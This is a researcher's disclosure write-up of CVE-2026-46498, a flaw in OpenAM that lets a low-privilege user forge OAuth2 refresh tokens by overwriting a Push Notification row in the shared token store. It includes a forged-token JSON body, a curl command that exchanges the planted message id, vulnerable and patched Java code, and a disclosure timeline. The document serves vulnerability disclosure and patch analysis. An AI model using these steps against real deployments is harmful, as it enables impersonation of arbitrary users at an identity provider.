Summary

Earlier this year I reported and coordinated CVE-2026-46498, a type confusion in OpenAM (the Open Identity Platform fork of ForgeRock Access Management) that lets a low-privilege user mint genuine, server-issued OAuth2 access and refresh tokens for an arbitrary subject by planting a forged token row through the anonymous Push Notification callback. The fix was merged publicly on June 17, 2026 in OpenAM 16.1.1, alongside 12 other CVEs of mine.

Severity: High - 7.1 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N)

An Authorization Bypass Through User-Controlled Key (CWE-639) exists in OpenAM’s stateful OAuth2 token-read path. Under certain conditions, this may allow an attacker to forge OAuth2 bearer tokens and OIDC ID tokens with arbitrary subject, client, realm, and scope. This affects OpenAM Community Edition through version 16.0.6.

A deployment is only exploitable if it has both the OAuth2 Provider and the Push Notification Service enabled, with a reachable SNS endpoint behind Push.

Technical Analysis

OpenAM started life as Sun’s OpenSSO and has accreted a decade and a half of token-handling code. While the project is full of highly vulnerable legacy features, I focused my research on modern protocols, and OpenAM OAuth is still used in production today. Underneath all of it sits the Core Token Service (CTS), a single shared persistence layer, backed by an embedded LDAP directory, that stores each type of stateful token issued by the server. Sessions, SAML2 artifacts, OAuth2 tokens, UMA tickets, STS tokens, and Push registration messages all live in one flat keyspace, keyed by a single primary key, and are distinguished by a TokenType attribute in the row.

The enum that defines those types demonstrates this dangerous legacy design, which assumes keys cannot be influenced arbitrarily by users.

// TokenType.java
// If new tokens are added, this enum must be updated via APPENDING to the end of the enum list.
public enum TokenType {
    SESSION, SAML2, OAUTH, REST, GENERIC, RESOURCE_SET,
    PERMISSION_TICKET, REQUESTING_PARTY, UMA_AUDIT_ENTRY,
    SESSION_BLACKLIST, UMA_PENDING_REQUEST, STS,
    OAUTH_BLACKLIST, OAUTH_STATELESS, PUSH, NOTIFICATION
}

The first crux of the vulnerability is that the OAuth2 read path takes the bearer or refresh string straight from a request and uses it, verbatim, as the CTS primary key.

// OAuthTokenStore.java
public JsonValue read(String id) throws CoreTokenException {
    Token token = cts.read(tokenIdFactory.generateTokenId(id));
    if (token == null) {
        return null;
    }
    return tokenAdapter.fromToken(token);
}

generateTokenId simply reflects the value from the request.

// TokenIdFactory.java
@Override
public String generateTokenId(String existingId) {
    if (existingId != null) {
        return existingId;
    }
    return UUID.randomUUID().toString();
}

While a few other token types have similar weaknesses, I was not able to demonstrate low-privilege, end-to-end token minting on anything apart from OAuth. In the same token factory, other token types do not reflect the raw token.

// TokenIdFactory.java
public String toSAMLPrimaryTokenId(String requestId)  { return encoding.encodeKey(requestId);   }
public String toSAMLSecondaryTokenId(String secondaryKey) { return encoding.encodeKey(secondaryKey); }
public String toSessionTokenId(SessionID sessionID)   { return encoding.encryptKey(sessionID);  }

Whoever wrote the OAuth path in 2013 reasoned, not unreasonably for the time, that an OAuth token id is already a server-generated random UUID, so it is opaque enough to double as its own storage key. That assumption holds true until a new flow starts writing rows whose keys an attacker can predict and whose contents an attacker can control.

The second crux of the vulnerability is the adapter that turns a CTS row back into an OAuth token. It deserializes the row’s blob as a generic Map and never evaluates the row’s TokenType.

// OAuthAdapter.java (vulnerable)
public JsonValue fromToken(Token token) {
    if (token == null) return null;
    String data = blobUtils.getBlobAsString(token);
    if (data == null) return null;
    try {
        return new JsonValue(serialisation.deserialise(data, Map.class));
    } catch (IllegalStateException e) {
        return null;
    }
}

Any row, including PUSH or REST, if its blob happens to be a JSON map, is decoded exactly like a legitimate OAuth row. The “type checking” that does exist lives one layer up, in the token constructors.

// StatefulRefreshToken.java
public StatefulRefreshToken(JsonValue token) throws InvalidGrantException {
    super(token);
    if (!OAUTH_REFRESH_TOKEN.equals(getTokenName())) {
        throw new InvalidGrantException("Token is not an refresh token: " + getTokenId());
    }
}

getTokenName() reads the tokenName field out of the blob. Every other check, including realm, expiry, client id, scope, and resource owner, reads from the same blob. There is no HMAC or signature to verify.

This was an unsafe, latent vulnerability that was unexploitable until PUSH was added in 2016. I did not find another way to write arbitrary values to the CTS store as a low-privileged user. The Push Notification SNS feature added an anonymous callback endpoint, and it writes to the same CTS store.

With Push enabled, an exploit might look like the following. Exploit Diagram

During a normal Push registration, OpenAM generates a message id and stores it verbatim in a PUSH CTS row.

// AuthenticatorPushRegistration.java
messageId = UUID.randomUUID().toString() + TimeService.SYSTEM.now();
// AbstractPushModule.java
Token ctsToken = new Token(messageId, TokenType.PUSH);

The messageId is not a secret. It’s included directly in the QR code handed to the device, so any user who can walk the Push registration chain learns a CTS primary key. For the attack, an attacker also needs a challenge-response and a signed-JWT verification, but they’re included with the shared secret from the QR code, so the legitimate registrant clears them trivially.

To test this, I deployed the openidentityplatform/openam:16.0.5 Docker image, routed local websmite DNS to the OpenAM container, and deployed a mock Amazon SNS backend with LocalStack. I configured OAuth and Push and provisioned a low-privileged user. I then walked through the QR registration flow and used an SNS callback to demonstrate the exploit. The QR below decodes to

pushauth://push/forgerock:pushprobe?
a=aHR0cDovL29wZW5hbS53ZWJzbWl0ZS5jb206MTgwOTgvb3BlbmFtL2pzb24vcHVzaC9zbnMvbWVzc2FnZT9fYWN0aW9uPWF1dGhlbnRpY2F0ZQ
&image=aHR0cDovL2V4YW1wbGUuY29tL2ltZy5wbmc&b=519387
&r=aHR0cDovL29wZW5hbS53ZWJzbWl0ZS5jb206MTgwOTgvb3BlbmFtL2pzb24vcHVzaC9zbnMvbWVzc2FnZT9fYWN0aW9uPXJlZ2lzdGVy
&s=1Vuc8WvnxAp9tetTIdTpDurMVxj5Vvr5c5-MfCPHiLg
&c=nrf2WbGCahOjstVDVvlZXi7GrBxFKc35u9fnJOytKbU
&l=YW1sYmNvb2tpZT0wMQ
&m=308d010e-3751-494c-b48a-ada6dfd564f91782760549912
&issuer=T3BlbkFN

where the auth endpoint, registration endpoint, image, load balancer, and issuer are as follows.

a      = http://openam.websmite.com:18098/openam/json/push/sns/message?_action=authenticate
r      = http://openam.websmite.com:18098/openam/json/push/sns/message?_action=register
image  = http://example.com/img.png
l      = amlbcookie=01
issuer = OpenAM

Push Registration

The handler matches each response against a short-lived, per-node in-memory cache first and only falls back to the CTS once that entry expires. The cache holds entries for seconds, and the planted row survives for the whole registration window, making the CTS write deterministic rather than a race. The attacker simply waits.

// SnsMessageResource.java
try {
    messageDispatcher.handle(messageId, actionContent);     // in-memory, short TTL
} catch (NotFoundException e) {
    attemptFromCTS(messageId, actionContent, requestType);  // fallback to the CTS row
}

On the fallback, a registration message overwrites the row’s blob with the request body.

// SnsMessageResource.java
private void addRegistrationInfo(Token coreToken, JsonValue actionContent) {
    coreToken.setBlob(jsonSerialisation.serialise(actionContent.getObject()).getBytes());
    coreToken.setAttribute(CoreTokenField.INTEGER_ONE, ACCEPT_VALUE);
}

Push writes a PUSH row at key messageId. OAuth reads any row at cts.read(messageId) and decodes its blob without checking the type. An attacker can overwrite the PUSH row’s blob with a dual-shaped body. It carries the Push registration fields so the predicates pass, and a full OAuth2 refresh-token field set that addRegistrationInfo preserves.

body = {
    "messageId":         message_id,
    "jwt":               jwt,
    "communicationId":   "${APNS_ARN}/poc-endpoint",
    "mechanismUid":      "poc-mech-uid",
    "communicationType": "apns",
    "deviceType":        "ios",
    "deviceId":          "p18-device-token",

    "tokenName":         "refresh_token",
    "id":                message_id,
    "userName":          ["${FORGED_USERNAME}"],
    "realm":             ["${FORGED_REALM}"],
    "clientID":          ["${FORGED_CLIENT_ID}"],
    "scope":             scope_values,
    "expireTime":        ["${FORGED_EXPIRE_TIME}"],
    "grant_type":        ["${FORGED_GRANT_TYPE}"],
    "tokenType":         ["${FORGED_TOKEN_TYPE}"],
    "redirectURI":       ["${FORGED_REDIRECT_URI}"],
    "authGrantId":       ["${FORGED_AUTH_GRANT_ID}"],
    "auditTrackingId":   ["${FORGED_AUDIT_ID}"],
    "auth_time":         ["${FORGED_AUTH_TIME}"],
}

An attacker can then exchange the planted messageId as a refresh token.

curl -sS -X POST "$BASE/oauth2/access_token" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'grant_type=refresh_token' \
  --data-urlencode 'client_id=p18-public-client' \
  --data-urlencode "refresh_token=$MESSAGE_ID" \
  --data-urlencode 'scope=profile cn' \
  --data-urlencode 'realm=/'

AccessTokenService.refreshToken reads the planted blob through the un-namespaced path, StatefulRefreshToken blesses it because the blob says tokenName: "refresh_token", and OpenAM mints a genuine token whose subject, client, scope, and realm all come from attacker values.

{
  "access_token": "ac8424d0-1861-46a5-aa7f-bb3948b1903f",
  "refresh_token": "4adaf0d0-5c3b-44bc-a8cd-89b12fda7300",
  "scope": "profile cn",
  "token_type": "Bearer",
  "expires_in": 3599
}

From there it’s a normal OpenAM bearer token. /oauth2/tokeninfo accepts it, and /oauth2/userinfo resolves it to the forged subject.

poc comparison

userinfo endpoint

To be precise about impact, this is OAuth2/OIDC impersonation, not a console login. It does not forge an OpenAM SSO session, and it doesn’t hand the attacker the admin UI. This exploit compromises everything downstream of the issuer, including anything that trusts this OpenAM’s userinfo/tokeninfo for identity and authorization. For an identity provider, that’s the part that matters. The base CVSS score above is conservative: it reflects only the direct integrity impact on the issuer and treats this downstream compromise as a deployment-dependent consequence the base metrics don’t credit.


Patches

I worked with the maintainers to address this vulnerability in OpenAM 16.1.1. The latest affected release is 16.0.6, and earlier releases through 2016 are affected. Other forks of OpenAM may be affected, since the vulnerable code is part of the original project.

The merged fix has two independent parts.

First, the OAuth2 store got its own keyspace. A new TokenIdFactory method runs OAuth ids through the same encodeKey transform that SAML uses. I would argue that this is not a complete fix, since it does not address the underlying architectural weakness across the entire token surface. It does close the primary attack path, though; the other paths I found are either latent, likely-unexploitable weaknesses or require administrative privileges.

// TokenIdFactory.java
public String toOAuthTokenStoreId(String tokenId) {
    return encoding.encodeKey(tokenId);
}

The encoding is reversible and only meant to separate the OAuth namespace. A Push messageId is a timestamped UUID string that contains hyphens, so it can’t collide with the OAuth tokens.

Second, the token is bound to trusted row metadata instead of the self-declared blob. OAuthAdapter.fromToken now rejects any row that isn’t actually an OAuth row:

// OAuthAdapter.java
if (!TokenType.OAUTH.equals(token.getType())) {
    return null;
}

OAuthTokenStore routes reads through the namespaced key and the type check, keeping a raw-id fallback only for migrating legacy rows:

// OAuthTokenStore.java
private Token readOAuthToken(String id) throws CoreTokenException {
    Token token = cts.read(tokenIdFactory.toOAuthTokenStoreId(id));
    if (token != null) {
        return isOAuthToken(token) ? token : null;
    }
    Token legacyToken = cts.read(id);
    return isOAuthToken(legacyToken) ? legacyToken : null;
}

private boolean isOAuthToken(Token token) {
    return token != null && TokenType.OAUTH.equals(token.getType());
}

Even if an attacker somehow landed a row at the right hex key, it would still be TokenType.PUSH and get dropped.


Timeline

DateEvent
2026-05-13Initial report to Open Identity Platform via GitHub private advisory
2026-05-14Maintainer accepts report; CVE-2026-46498 assigned; OpenAM Consortium Edition maintenance team also confirms impact
2026-06-17Patch merged publicly e047b01f24 and shipped in OpenAM 16.1.1, referencing the CVE
2026-06-24Maintainer published GHSA-cj8f-2fhf-826r
2026-06-27Public PoC published by a third party; AI was also able to generate an end-to-end proof of concept based on the patch notes, so publishing this writeup adds minimal attacker value
2026-06-30Published to websmite.com